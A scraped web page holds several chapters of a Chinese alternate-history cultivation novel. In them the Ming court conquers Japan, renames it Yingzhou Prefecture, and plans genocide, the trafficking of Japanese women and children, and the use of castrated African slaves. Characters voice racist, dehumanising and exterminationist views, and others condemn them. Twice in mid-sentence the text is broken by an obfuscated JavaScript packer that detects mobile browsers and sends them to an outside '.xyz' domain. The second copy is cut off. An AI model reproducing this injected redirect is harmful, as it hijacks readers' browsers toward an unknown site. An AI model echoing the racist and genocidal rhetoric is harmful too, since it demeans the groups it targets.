“既然以后是我大明的疆域,自是不能再用什么日本了,需要换一个名字。” “回禀皇上,臣倒是有个合适的名字。”这时,压下刚才与严世蕃争论情绪的张居正开口。 闻言,嘉靖没有说话,只是用眼神示意他讲。 “古时,对日本的称呼都是东瀛。 瀛,指代海岛或广阔的海洋,与日本在海上的位置特征相契合。” “此外,“东瀛”一词,还隐含着对东方海域中神秘仙山的想象和向往。”说到这里,张居正微微一笑,道:“传说海上有蓬莱、瀛洲、方丈等三座神山,上面有仙人居住。” “不久后,我大明仙朝确立,若是将海外一国之疆域,视作是仙朝领土,取名为瀛!” “不如就赐名瀛州府,”说着,张居正看向其他人,“如何?” 众人低头暗暗一思索后,都点了点头,瀛洲府,倒是可以。 “一国之疆域,赐以府名,是否不合适?”这时,高拱眉头轻轻蹙起,道:“不如瀛洲省如何?洲改州,换府为省。” “而且这日本岛也有我大明某些省的大小。” “肃卿此言差矣,”张居正微微摇头,开口解释道:“日本虽然有我朝某些省的大小,但终究是独立于我大明之外的。” “而且又在海上,中间相隔一片海域。若是将其划分成,南直隶麾下的一个‘府’,加强与大明的联系,如此也能加深管理。” “此举,也是为了加强归属感。” “毕竟日后,岛上肯定要派百姓,或者是军户过去的,这一住怕就是一辈子了。若是太过独立,反而不利于团结……” “至于境内,其他各道,改名为县即可。” 听完张居正的一番话后,高拱沉思片刻后,微微摇头,道:“如此,我也没意见了。” 高拱没意见,赵贞吉自然也懒得在这种事上浪费口舌,直接表示附议。 严世蕃难得的没有反驳,左右不过是个名字而已,他可不在乎这些东西。此时他在乎的是,日本岛日 后怎么瓜分,怎么开设灵田。 “那便瀛州府吧,划入南直隶。”嘉靖一摆手,正式确定赐名日本,瀛州府。 (注:后文全部以‘瀛州府’称呼。) “之后,关于瀛州府的官员任命,”说着,嘉靖手指轻抬了抬,“今年春闱,还有各地的举人,都可以着手安排过去。” “这些人,要可靠,等清理完岛后,朕就会赐下灵气,以后整座岛都要变成我大明的灵田,专门培育灵物资源。” “是!”众人纷纷躬身。 接下来,嘉靖又带着众人,驾驭飞梭在瀛州府上空游荡了四五日,直到胡宗宪和唐顺之率领的大军开始全面清缴倭人家族后这才返回。 翌日,海外国战,捷报从东南开始,朝着整个大明境内以最快的速度传播开来。 同时关于倭人常年侵扰大明东南沿海,烧杀掳掠,数次背叛大明无数罪行也昭然天下。 一时间,大明子民群情激奋,对倭人的愤怒达到了前所未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669369|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的高度的同时,更多的还是对大明国战取得胜利而高兴。 不过随着捷报传来,时间的推移,关于内阁对瀛州府原来的倭人处理方式也引起轩然大波,可以说是朝野内外,一片讨论。 嘉靖四十四年,正月廿八。 距离国战已经过去了一个月时间,而唐顺之和胡宗宪大军,也彻底占据了瀛州岛。 而朝廷关于倭人的处理方式,却让海瑞、唐顺之和胡宗宪等人心中略有些不满。 只觉得此举,太有伤天和了! “刚峰兄,此事你怎么看?”宁波府,知府衙门后院,王用汲看着蹲在灶火前熬煮灵粥的海瑞问道。 “亡国灭种,有伤天和。”海瑞扇了扇火,淡淡说道。 “确实,”王用汲摇头,“军人以及其家属,全部处死,这点虽然残忍,但也可以理解,可那些老人全部赶往其他岛上,任其自生自灭,而那些女人、孩子和年轻力壮的……” 说着,王用汲压低声,道:“内阁竟然提议说,先用一年时间,让年轻人把瀛州府所有能用的土地全部开垦出来,用作灵田。” “之后,把女人,小孩还有年轻人,全部卖给葡萄牙的商人……”说着,王用汲有些难以启齿,道:“我听说,葡萄牙的商人在海外有奴隶买卖,好像是一些黑皮肤的人。” “昆仑奴。”海瑞拿着一根燃烧着的火柴棍,叹道:“听闻唐朝的大将军李靖就有昆仑奴,肤色黑如墨汁,体型与常人无异。” “最近,随着我朝海禁的开放,港口已经有葡萄牙跟荷兰的一些商人询问奴隶了。” “不错,定海县港口有商船带着奴隶,我看了,跟史书记载的昆仑奴,一模一样!”王用汲也点了点头,“这东西,除了颜色跟常人没区别外,其他的就是活脱脱的人……” “此前,我朝海禁,禁止私人买卖,如今开放海禁,各种商品也不再设防。” “听说这些昆仑奴很便宜,最主要的是人高马大的,很有耐力。” “再加上,瀛州府需要开垦荒地,这些昆仑奴可比那些倭人要好使得多了。” “所以,严党就要求,开放奴隶买卖,当然,与我大明的奴隶政策不同,外来种族的买卖,就按照商品售卖,用于劳作。” “如今朝野对严党,亡国灭种的所作所为,很是不满,还有对不拿人当人的行为,觉得有伤天和,六部有不少的弹劾奏本……” “还有什么消息?”海瑞看向王用汲。 他被排挤出了京城高层圈子,所以关于内阁的内幕消息,海瑞只能从王用汲处了解。 “严党打算在瀛州府周边,原来龙鳞岛和翔云岛,专门开设人口买卖的港口。” “开始,就用倭人的年轻人、女人和小孩进行交换,听说海外诸国的贵族,对这些细皮嫩肉的女人很感兴趣……” “所以,小阁老打算以人换人。” “甚至,若是海外需求大的话,不排除专门用一个岛豢养起来,作为商品买卖……” “这何止是有伤天和,简直不当人了!” “……” 第一百五十三章 严世蕃的追捧者?严嵩的新目标,讨严檄文,小阁老怒了! 听完王用汲说的关于内阁的消息,海瑞沉默的看着灶火里‘噼里啪啦’的灶火。 “你们同意了?”突然,海瑞看向王用汲。 “这,”被海瑞这么一问,王用汲一怔,然后无奈轻叹,“裕王殿下并不打算过问。” 不等海瑞询问,王用汲跟着又道:“自从你上次把清流和严党与二王之间,谁也没捅破的窗户纸给撕开以后,局势早就变了。” “裕王殿下可不会管这些小事。” “几位阁老对这件事的态度,也最多就是跟严党日常里的习惯争斗,拿来抨击而已。” “我是就事论事。”海瑞不认为自己撕开二王跟自己麾下关系有什么不对。 “罢了,不说他们了,说说你的看法吧,”王用汲摆摆手,“目前人口买卖的港口,都设在瀛州府那边,皇上让你坐镇宁波府必有深意。” “很有可能就是跟未来瀛州府有关。” “平心而论,我不喜欢昆仑奴,”海瑞说着,拾起柴火扔进灶火里,“从理法上讲,人口买卖,太过不人道,有伤天和。” “严家既然提出了用柔弱的倭人,去换强壮的昆仑奴,开垦荒地,可有想过日后荒地开垦完了,这些昆仑奴如何处置?” “开垦一国之荒地,将整个国家都弄成灵田,虽说瀛州府并不大,也怕是没有个三五年,完不成吧?”海瑞说着,看向王用汲,道: “我想你们必然不会让这些昆仑奴去种植灵物的,那时还是我大明军户百姓登岛,这期间,会增长多少昆仑奴?以后如何处理?” “是打算给他们大明子民的身份,又或者是……”海瑞还说着,就被王用汲抬手打断,“刚峰兄,打住,你会错意了。” “嗯?”听到王用汲这么说,海瑞一愣,会错意? “你还是没有明白,我说的有伤天和是什么意思。”王用汲微微摇头,道:“听那天在裕王府的讨论,高阁可是没少怒骂严世蕃。” “其实你思虑的这些,当时张阁老也提了出来,认为这些昆仑奴智力低下,肤色黢黑,若是为仙朝子民,未免有失体统。” “不过严世蕃却说,这些昆仑奴购买的都是雄性,每一只都是被阉割过的。也是因为如此,我才说这些人太过不人道,有伤天和。” “如此一来,自然也就不会担心有后代子孙留下了,等荒地开垦结束后,再低价卖出去,或者是随便找个岛流放。” 听完王用汲的安排后,海瑞张了张口,竟是不知道该说什么好了。 “罢了,便随他去吧。”许久后,无语的海瑞微微摇了摇头,不打算插手此事。 “呵,”突然,王用汲轻笑一声,道:“我也是发发牢骚,发泄一些对严党的不满。况且此政策,皇上也没有任何看法。” “说说朝堂吧,接下来听阁老们的意思,内阁的局势,怕是要变了。” “这次唐顺之和胡宗宪灭国有功,怕是会因此而进阁,这二人都是严党的人。” “而裕王殿下,则有意提拔马芳和王崇古,未来武勋一方,要与我等文官分庭抗礼了。” 海瑞抬头朝着天穹看去,朝堂党争,永远不会消弭,但他不会允许任何人扰乱大明。 凡人铸错,遗臭万年。 修仙之人犯错,那便是人间灾难。 …… 日本被灭国,严党施行灭种政策,在清流一方有心推动之下,传遍天下。 一时间,严党误国,泯灭人性的说法,就从民间江湖传开,严家父子更是从原来的大奸臣,大贪官,变成了可怖如妖鬼的存在。 甚至到了夜止小儿啼哭的地步。 嘉靖四十四年,二月二,大雨过后,空气中残留着一片湿意。 南京,国子监内。 一群身穿儒衫的博士围坐一起,说古论今,大谈国策。 “严党,非人哉!”一个须发皆白的儒衫老者拍着桌,怒声道:“我大明朝的内阁,都要成其一言堂了,奸贼,恶贼!” “严贼误国,泯灭人性!” “将倭人老病残全部赶去岛上,任其自生自灭,女人孩子,全部贩卖给西洋蛮夷。换取昆仑奴,还要求必须是阉割过的……” “我大明朝,怎会有此等魔鬼……” “是啊,原本大明一举荡平一国,这没什么,所谓杀生不虐生,何况是人呼?此举,以后诸国各邦,又该如何看我大明上国?” “有失国体,老夫,老夫要上奏弹劾……” 一伙老夫子围聚在一起,大力的抨击着严家父子,细数其罪名,个个唉声叹气。 “说这些屁话作甚,倒是告啊……”就在众人情感大爆发的时候,突然一个带着醉意的声音响起,声音中有着刚刚睡醒的懵懂之意。 “何人鬼鬼祟祟,偷听我等谈话!”一个中年人豁然起身,冲着角落昏暗处看去。 只见一个身着灰色麻衣长衫的中年男子,颠颠撞撞的坐起身,趴在桌上看着朝自己望来的几人,指了指那个怒视着自己的哼笑出声。 “我昨夜著书,宿醉于此,何来偷听一说啊?”说着,男子又拿起一旁的酒葫芦,灌了一大口,道:“反而是你们 ,扰我醉梦。” “被服儒雅,行若狗彘的一帮杂毛,着实可恶!” “李贽?!” 几个国子监博士,认出了此人。 “竟然遇上这个烂人,当真是晦气!” “你说谁被服儒雅,行若狗彘!”看到李贽后,刚才那个站起来呵斥的中年博士,反应过来后,快步走到李贽跟前大声质问。 “你一个区区学正,竟敢对我等如此无礼?!” “还不速速离去!” 看着将自己围住的几人,李贽颠颠撞撞的站起身,一个个的指着几人,冷笑连连。 “皓首匹夫、苍髯老贼、谄谀之臣、断脊之犬、豺狼朽木……尔等披上这儒衫,也敢在我面前,大放厥词?” “你,放肆!”被骂苍髯老贼的白胡子老头气的浑身发抖,“信不信,老夫告上朝廷,告你一个辱骂上官之名!” “辱骂上官?”李贽冷笑道:“你们在此辱骂内阁首辅,却要恶人先告状?” “你!”被李贽这么一说,几人顿时一噎,一个个顿时不敢再说一个字。 别看他们嘴上说的厉害,但终究是不敢让严嵩和严世蕃知道自己等人的辱骂。 “呵,呵呵,”见几人噎住,李贽顿时发笑摇头:“无胆鼠辈!” “碌碌庸人,妇人之仁,鼠目寸光!” “尔等同情倭人,同情昆仑奴,岂知非我族类其心必异?”李贽冷笑着,“不怕告诉尔等,小阁老的提议,在我看来,依旧仁慈!” “要我说,倭人就应该被从历史中抹去,史书上都不应该留存其只言片语。甚至,除我大明之外,其他各族,都不应该存在!” “尔等怒斥严世蕃此举,我李贽,偏偏要为他写贺表称赞,如何?” 李贽梗着脖子,满脸的叛逆与桀骜之色。他这一副模样,实在是让人难以想象,这是个三十好几的人,能说出来的话。 “也罢,”李贽突然有些意兴阑珊,“人益鄙而风益下。阳为道学,阴为富贵,被服儒雅,行若狗彘…跟尔等说再多只是……” “浪费唇舌!”打了个酒嗝后,李贽又灌了一口酒,推开众人,摇摇晃晃离开。 “我李贽,不屑与尔等为伍,随你们去告,老子不干了……” 李贽就这么摇摇晃晃的闯入雨中,独留在场几个国子监博士脸色铁青的站在当场。 “离经叛道,不可理喻的疯子!” “哼,狂悖小人,竟然连严世蕃都吹捧,物以类聚人以群分,必须将其赶出国子监!” “国子监,不应该有这种败类在……” 这只是一段小插曲,总之严党再一次的在大明朝扬名了,争议也越发的大了。 一些极端,叛逆,跟倭人有彻骨仇恨之人对严党的亡国灭种的行为自然是大为赞成。 一些心存善意,不曾被倭人侵扰伤害的人,自然是觉得此举太伤天和。 其中对严党抨击最甚者,莫过于孔家,当代衍圣公,更是直接写了一篇“讨严檄文”,怒斥严世蕃此举,并列举出严党种种罪行。 一时间,各方学子,学堂,纷纷响应。 然而对这些,严嵩父子却是丝毫不知,或者说是懒得理会,反正骂名多了也不怕。 至于死后是否有地府轮回这一说,眼前或许会有这方面的想法,但现在也没了。 以后,他们严家是仙族,长生不死! 在他们看来,与其在乎天下人的看法,不如抽空修炼,再或者想着怎么瓜分瀛州府。 严府,后院。 严府很大,后院灵田,虽然嘉靖只批了一个院子大小,不过严嵩还是将其拓宽了不少。 一整个院子,中间是绿油油的灵田,被一分为二,左边种植的是灵米,右边是灵瓜灵果。 这些灵物种子,自是从宫里带出来的。 在小院边上,则有三个,看起来很是朴素的茅草屋。这三个茅草屋自然是严嵩、严世蕃和严绍庭,祖孙三人的修炼之所了。 深夜。 中间那个,属于严嵩的茅草屋里,严世蕃跟严嵩二人对着烛火,面对面对而坐。而在桌上,榻上,则是堆满了如山的公文。 烛火摇曳,将父子二人的影子,照的很是高大,镶嵌在茅草屋的墙壁之上。 “爹,果然不出所料,各地藩王宗室,让他们将收上来的土地进行杖清,上交朝廷,迟迟不肯上交,派去监督的官员也开始出现问题。” “不是无缘无故的被查出贪污受贿,下了大狱,要么就是不明不白的死了,再要么就是拖延不办事,显然这些背后都是宗室的手笔。” “而今年是免税的最后一年了,百姓已经开始急躁了,”严世蕃说着,拿起灵茶喝了一口,“不少百姓都开始找官府要说法。” “一些百姓也已经在宗室的安排下,签了契,以后给宗室种田了。” 听完严世蕃的这番话,严嵩放下手里的一份公文,慢吞吞道:“再添一把火,把事情闹大一些,先让一些地方的百姓乱一乱。” “给这些宗室一个官逼民反的罪责,至于闹出乱子,如此宗室的罪行才会更大,到时候收拾起来,也才名正言顺。 ” “至于这些乱子的处理,就让赵贞吉担着。”严嵩说着,又拿起一份公文,“一年时间收田,一年时间做大,一年时间分田。” “到了嘉靖四十六年,这土地改制的第二阶段就算是正式完成了,接下来……”说着,严嵩看向严世蕃,“你以为,接下来会如何?” 听到老爹这么一问,严世蕃一愣,有些不明所以,道:“不是第三阶段和第四阶段吗?” “是,也不是,”严嵩缓缓摇头,“第二阶段完成后,大明需要陷入一个长久的沉寂中,去好好的消化,沉淀。” “第三阶段实施的同时,第四阶段也会开启,也就是对外扩张。” “之前说了,前提是内部需求太大,达到一定程度后,才能顺利施行战功激励政策,才能开始对外扩张,这期间大明要发展。” “财政、田地、商业、工艺都要发展。” “财政无非就是那些税收,不说也罢。此外就是商业,海外的交易,以及极北之地交易,钱币改制八策,今年必须要全部完成。” “工艺方面的发展,涉及到火器的钻研打造,此外有战船,道路的修缮,运河开凿,农耕器具的改造这些,都要开始。” “各方各面都要新增官职。” “还有就是大明银库已经建成,各地银库分库也要,这些都要有我们的人坐镇!” 听着老爹这一番话,严世蕃点了点头,而后突然道:“爹,灵田方面呢?” “瀛州府,还有我大明内部,皇上什么时候大面积的赐下灵田?说实话,修炼没有灵物资源,等同于白修了,就咱这小院太少了。” “郊外的灵地庄子,又要培养灵兽战马,就算我们能从中捞取油水,可终究是太少了,我严家要发展修仙家族,就不能只有我们三人……” 严世蕃喋喋不休的说着,严嵩却是微微摇头,轻叹了一口气,直接打断了他,有些无奈道:“你目光就不能长远些吗?” 突然被老爹这么一呵斥,严世蕃一愣,抬头有些不明的看着严嵩,不明白是什么意思。 我的目光,还不够长远吗?我这都‘看’到哪了?那么多土地,都开始谋划了,您竟然还说我不够目光长远? 您要不看看别人家的孩子?您的老对手徐阶? 那徐璠跟我一比,那就是妥妥草包! 真的,有时候您真应该回头去看看,不如我的人大有人在,同辈中比我目光长远? 其实严世蕃感觉自己这段时间以来,进步太大了,他感觉自己已经跟上老爹的步子了。 没想到,现在竟然被说目光不够长远?就问,还要怎么长远? 是,我承认,上次关于唐顺之和胡宗宪这些武勋的未来方面,看得不准。 国策,政斗方面,我确实不如您,可这敛财方面,哼哼,我严世蕃可不认为差您多少。 心中这些想法一出现,严世蕃的脾气也上来了,于是坐直身体,拱了拱手。 “您说,我听着。” 看着严世蕃这一副模样,严嵩抬了抬眼,斜睨了儿子一眼,而后发出一声哼笑,他如何看不出严世蕃这是又不服气了。 “我问你,以后大明灵物资源从何而来?”严嵩好整以暇的放下笔,慢吞吞的问道。 “自然是大量的灵土,种植灵物了。”严世蕃从容道。 “那日后,仙朝对百姓公布以后,这些灵田里种出来的粮食,就是灵物资源。” “同样的道理,日后大明仙朝,除了凡人使用的钱币外,若是出现修仙者聚集的城池,出现修仙大城,货币是否会变成灵物?” “比如,以物易物?又或者说,日后出现专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“随着时间的推移,这些要职上上下下,盘根错节,都是我们的人!” “如此,我严氏仙族,才能亘古不衰!” “轰隆!”这一刻,严世蕃的脑子里,仿佛有雷霆闪烁。 看着发呆的儿子,严嵩收敛气势,又恢复了之前那一副佝偻着背的模样。 “夜深了,你回去吧,明日玉熙宫议政,怕是跟你有关……”严嵩说着,抽出两张折起来的大纸,递给严世蕃。 “这是什么?”严世蕃好奇中,就要打开,却被严嵩抬手打断,“回去再看。” 嗯,想到那纸上的内容,严嵩真怕这个情绪不稳定,癫狂的儿子,把自己这里给掀了。 严世蕃狐疑的看着低头,重新翻越公文,勾勾画画的老爹,有些狐疑。不过还是拿着两张折起来的大纸,躬身一礼后转身告退。 刚才老爹说的那些,给他带来的震撼太大了,他需要回去好好消化一下,同时按照老爹说的那些,开始后手的布置。 老爹说的没错,这一次自己的目光,确实有些不够长了。 跟那些长远的未来收益相比,眼下这点,多方盯着的好处,确实不算什么了。 只能说,不就是老爷子,吃着碗里的,嗯,甚至现在碗里的还没有呢,就开始望着锅里的了,而且,锅灶还没架起他就惦记了。 要说贪,还是老爹够贪! 带着心中的疑问,严世蕃出了茅草屋,不过他却是没有回自己的茅草屋,而是出了灵田小院,直奔老爹原来的书房而去 “小阁老,小阁老!”然而他到书房门口,就被鄢懋卿跟罗龙文给叫住了。 而且,二人手里还拿着一张大纸,神情难看,基色匆匆的模样。 “这么晚了,何事如此急色?”严世蕃不满的呵斥一声,说完也不管二人推门进了书房。 他现在已经算是半个修仙者,自然更不将除了同等身份以外的人放在眼里了。 鄢懋卿跟罗龙文见此,对视一眼,顿时了然,知道小阁老这还不知道呢! “你先!”鄢懋卿想到严世蕃的脾气,有些害怕的哆嗦了一下,推了一把罗龙文。 “还是你先……”罗龙文自然不愿当出头鸟,于是开始推搡鄢懋卿。 “还不进来,等什么呢!”这时,书房里传来严世蕃的喝声。 二人无奈,只能互相对视一眼,齐齐抬脚,朝着书房走了进去。 “说吧,什么事?”严世蕃说着,从书架上取下一本书,然后来到桌前坐下。 那两张大纸,倒也没有急着打开。 “小阁老,关于对瀛州府的安排,外界那些腐儒,有些微词……”鄢懋卿说着,有些尴尬的推了推罗龙文。 “瀛州府?”严世蕃眉头一簇,道:“不是都定好了吗?还是说胡宗宪跟唐顺之不配合?”提到这二人,严世蕃的气就不打一处来。 “倒不是,而是……”鄢懋卿说着,见严世蕃越发不耐的脸色,当即一咬牙,将手里的一张折叠的大纸,递给严世蕃,道: “您自己看吧,衍圣公发了一篇针对您的檄文,现在恐怕已经传开了,这是从曲阜传,快马加鞭传回京的。” 檄文?还是针对自己的? 听到这个,严世蕃一怔,也不顾上二人,直接打开纸,当看到开头那大大的“讨严檄文”后,整个人的脸唰的黑了下来。 而下面的具体内容,更为炸裂。 【讨严檄文】 【昔闻天地有正气,人伦有纲常。 自古以来,君子以义为先,小人以利为重。今有严世蕃者,居高位而忘本,背君王之厚恩,弃黎庶于不顾,肆意妄为,祸乱朝纲。 其人之行,悖逆天理,丧尽天良;其心之毒,甚于蛇蝎,恶贯满盈。 世蕃所为,非独欺君罔上,更欲亡他人之国,灭他人之种,泯灭人性,实为古今未有之大恶! 此等逆贼,若不加讨伐,国无宁日,民无安土。吾身为衍圣公,肩承先圣之志,誓守孔孟之道,护佑万民安康。 今见此等逆贼,痛心疾首之余,特发此檄,昭告天下: 世蕃之恶,甚于豺狼,其心狠毒,其行卑劣。欲以残暴之手,毁他人之宗庙,灭他人之族裔,其恶行甚于禽兽,其罪孽深重,必遭天谴。 吾等饱学之士,岂可坐视此贼猖獗,任由其祸害天下? 严世蕃之辈,必遭天谴,其恶行必受严惩,其罪孽永难洗清! 愿天地鬼神共鉴,岁月长河为证!凡我仁人志士,当共讨此贼!】 “嘭!”看完这篇檄文之后,严世蕃当 场破防,猛的站起身,直接清空桌面,怒声道: “孔贼,欺我太甚,欺我太甚!” 看着暴怒的严世蕃,鄢懋卿跟罗龙文眼皮直跳。 这回,孔家怕是要摊上事了! “……” 本章不适合断开,合一起了。 第一百五十四章 沉默的小阁老,格外的有压迫感! 严世蕃怎么也没想到,好端端的自己竟然被孔家人给盯上了,还这么骂自己。 当然,这些骂人的词,他并不在意,他真正在意的是,骂自己的是孔家衍圣公。 而且这‘讨严檄文’被衍圣公发出来,那天下所有儒家文脉归属之人,都会响应。 天下百姓骂他,他听不到,而且也不会在乎,左右不过是一些贱民而已。 可孔家骂自己,那别说那些清流了,就算是他严家这一系的不少官员都会响应。 当然他倒不担心自己严家这一系的人背叛他们严家父子,但这会让他的威信大大收缩。 总之这次的事情,对他来说并不致命,但是非常的恶心。 而且他现在最为在意的是,皇上若是看到这份‘讨严檄文’,那会如何想自己? 现在皇上给群臣赐下仙法,所有人最期盼的赏赐,早已不再是那点黄白之物,而是修仙必备的灵物资源了,一旦哪个臣子惹得皇上不开心了,那从此以后仙缘怕是就断了。 而且,按照老爹说的,接下来他们严家可是要布局到大明各行各业之中的,那时候官员任命,可都是要在内阁中商讨的。 若是皇上因此而对他有所成见,又该如何?或者清流帮小人拿此攻讦自己又该如何? 原本好好的,平白无故的,突然多了这么一些不存在的风险,小阁老此刻心中的怒火,已经升腾到了一个顶点! 房间里,严世蕃阴沉着脸,浑身上下都仿佛散发着一股阴沉的气息。 此时若是鄢懋卿和罗龙文能看到严世蕃识海当中的本命,就会发现那条毒蛇已经站起身,泛着双猩红的眸子,漆黑的芯子不断地吞吐着。 “小阁老,”这时,鄢懋卿壮着胆子,轻喊了一声,道:“如今之计,最重要的是,对衍圣公的檄文,做出回应和应对。” “否则,这天下文人学子,恐怕都会响应,这怕是影响仕途啊!” 一旁的罗龙文也是立刻宽慰道:“是呀,是呀,必须要拿出个对策了。” “而且,这孔家势大,在如今的时代,其已经代表了整个儒家,还是,还是……”说着,说着,罗龙文的声音渐小了起来。 “还是什么!”严世蕃猛的抬头,恶狠狠的看着罗龙文,“还是让我忍下这口气?” 被严世蕃吓了一跳的罗龙文身体猛的一颤,当即闭上了嘴,不敢再发出一个声音。 一旁的鄢懋卿此时也不敢去触这位爷的霉头,只能憋着一口气,大气不敢喘一声。 “孔家,衍圣公……”严世蕃突然想到了什么,打开了桌上,之前老爹给自己的两张大纸,全部摊开,果然看到了一模一样的檄文。 不过另外一张纸上的内容,却引起了他的注意,这一张纸上,写的不是什么讨伐自己的檄文,而是一篇奏疏,内容竟然要求朝廷,切不可以因为一些短视小人而阻碍他的政令。 虽然没有明着夸赞于他,也没有什么阿谀谄媚之词,但字里行间所表达的,都是对他提议的,对瀛州府政策的全面支持。 其中很多内容,可以说跟他的想法,不谋而合。 嗯,严世蕃到现在还没有意识到,他的那些想法其实就是他严家的治国理念。 也是这一篇,似乎是老爹抄录的奏疏,让严世蕃愤怒的心情,稍稍平复了一些,一时间竟生出一种这世间竟还有人懂我的想法来。 “李贽,”严世蕃凝视着写这篇奏疏之人的名字,眸光闪烁间,抬头道: “你们可知,这个李贽是何人?” 李贽?见小阁老原本暴怒的神情突然之间平复,并且询问一个从未听说过的人,罗龙文没有反应过来,不过一旁的鄢懋卿却道: “这个李贽,我倒是有些印象。” “说说看。”严世蕃坐了下来,抬头等待着鄢懋卿的讲述。 “此人初姓林,名载贽,后改姓李,名贽,字宏甫,号卓吾,”鄢懋卿说着,“出生于经商航海世家,六世祖是泉州巨贾,娶“色目女”,后代也沿袭了世祖的爱好,长期混血。” “一直到其曾祖父这一代,血统才转正……”说着,鄢懋卿轻叹道:“要说此人,却是个天才哩!” 天才?听到这里,严世蕃眼神中透露出一抹感兴趣的神色。 天才,他见的多了,倒是想听听看,这个李贽有什么特殊的。 “李贽此人,幼年丧母,随父读书,学业进步迅速……”鄢懋卿不愧是严嵩的干儿子,小阁老严世蕃欣赏的有才之人,多少也算个移动的“知识储备库”了,见识很不凡。 “李贽自幼倔强,善于独立思考,不受儒学束缚,从小就离经叛道。” “此人嗜酒如命,每次醉死都会说一些狂生言论,对朝廷政令大肆批判,此人不屑自古以来的农耕国策,扬商贾功绩,提倡功利价值!” (注:李贽喜好、性格方面,为服务于剧情,本书为其进行一定的笔墨装饰。本书不代表正史人物性格,性格秉性,切勿当真。) “此人,”鄢懋卿说起此人,皱着眉头,似是在斟酌,“嗯,喜欢他的人,认为他个性突出,向往自由,是个极具个人魅力的大才。” “厌恶他的人,则认为他虽有才华,却行为不端,品行败坏,是个极其自私无情之人。” 随着鄢懋卿的讲述,严世蕃逐渐的来兴趣了,这世上竟还有如此怪异之人? 而且,鄢懋卿是什么人,他可再熟悉不过了,能被老爹收为干儿子,成为自己的心腹,可以说也是个养尊处优,高傲之人。 能让他记住,并且说出这么一番话的人,确实难得,显然这个李贽,并非凡人。 “此人,极其向往自由,为了自由,明明有着神童一般的天赋,却不愿做官!”说着,鄢懋卿笑着道:“他曾言,志不在此,平生不爱属人管。” “甚至,同为神童的张阁老与之相比,在我看来,都不如其远甚!” 听到这里,严世蕃轻笑,不置可否。 虽然他在政见上,不待见张居正,但要说李贽强于张居正,他看来,有些言过其实了。 鄢懋卿见小阁老如此,也不发表看法,继续开口讲述着李贽的一切。 “……” 时间推移,夜色已深。 严世蕃听完关于李贽的一切后,再看着手上那一篇奏疏,眼神中闪烁着莫名的光泽。 “十二岁,就能写出抨击孔子的《老农老圃论》,还是商海世家出身……”说着,严世蕃深吸一口气,道:“此人,当为我所用!” 听到严世蕃如此说,鄢懋卿跟罗龙文都是一怔,而后对视一眼,眼神中都有紧迫之色。 而罗龙文看向鄢懋卿的眼神中,隐隐间还有埋怨之色,像是再说,好端端你的吹什么? 现在好了,小阁老身边有多了一个人,以后还有你我什么事? “小阁老,我以为此人或许可以用来对付孔家。”这时,罗龙文眼底闪过一抹精光,“此人向来抨击孔孟之道,对儒法不屑一顾。” “若是将其视作对付孔家的一把刀,未尝不能让那衍圣公喝上一壶?” 嗯,罗龙文此举,心里也有自己的小九九,小阁老现在明摆着对这个叫做李贽的人很是欣赏,甚至对他们二人都不曾如此赏识。 这让他心中产生了一股前所未有的危机感,若是用李贽来跟孔家拼一拼,能拼掉则已,拼不掉,也能借孔家的手将这个潜在对手打压。 “孔家……”听到罗龙文的想法,严世蕃并未多说什么,只是看着桌上摆着的那份‘讨严檄文’,眼神中寒光迸射。 显然他不会这么轻易放过孔家的。 …… 瀛州府。 原德川家的住处,此时已经变成了王崇古的临时住所。 一间房屋里,年近五旬,面容坚毅的王崇古,此时正与年龄四十六岁,比自己小五岁的马芳,面对面而坐。 相比于王崇古的严肃,因为曾做过兵部侍郎这种养尊处优的高官,养成雍容气度,马芳这位常年领兵的悍将,则显得有些粗糙和混不吝。 “嗝,”酒过三巡,马芳打了个酒嗝,将一个酒瓶子扔一旁,骂骂咧咧道:“这倭人的酒,当真是没滋没味,猫尿似的。” 说着,夹起一块生鱼片,沾了沾酱料,送入口中,咂咂嘴道:“别说,这倭人吃的这东西,还是不错的,这叫什么……” “他们管这叫,刺身?”马芳说着,又夹了一块送入嘴里,咀嚼起来,同时含糊道:“呜,不戳,针不戳……” 看着马芳这幅模样,王崇古微微摇头,夹起一块薄薄的生鱼片,道:“这叫鱼脍!” “这些倭人,从大唐学过去的饮食之法,以为改了个名字就成了他们的东西,无耻!” “鱼脍?”马芳一愣,继而又忿忿道:“奶奶的,我说怎么这么好吃,原来是我中原美物,亏我还觉得这倭人,也并非毫无可取之处。” “邪恶的一族!”马芳脸色阴沉道。 “裕王殿下,给我写了一封信。”这时,王崇古突然开口道。 闻言,正骂骂咧咧的马芳一愣,道:“裕王殿下,说什么了?”说着,他突然又是一愣,道:“不对啊,不是应该给唐帅吗?” 唐帅,征缴瀛州府,朝廷敕封唐顺之的为东征大元帅的官职,敕封胡宗宪为平西大元帅。 “是给你我二人的密信。”王崇古也不卖关子,直接道。 “何意?”看着王崇古严肃的面容,马芳似乎也意识到了事情恐怕没有那么简单,很有可能涉及到了朝堂上的一些事情。 他虽然常年在边关带兵打仗,但这并不意味着他对朝堂官场的一些争斗,毫无意识。 尤其是皇上年龄愈发的大了,所有人都知道,总有一天皇上会仙逝,但皇上至今不曾确定太子人选。 而当今皇上只有两个儿子,就是裕王和景王二位殿下,而清流和严党之争,背后隐射的就是这二王的储君之争。 如今裕王殿下给王崇古来信,莫非是要拉拢王崇古? “嘶,可是不对啊……”突然,马芳又迷糊了。 如果他没记错的话,王崇古本身就是清流一方的嫡系,裕王殿下何必拉拢呢? 这份信,没有从到唐帅手上,情有可原,毕竟唐帅虽然为人正直,兄弟们也服气,可毕竟是严党提拔,身上烙印注定去不 掉。 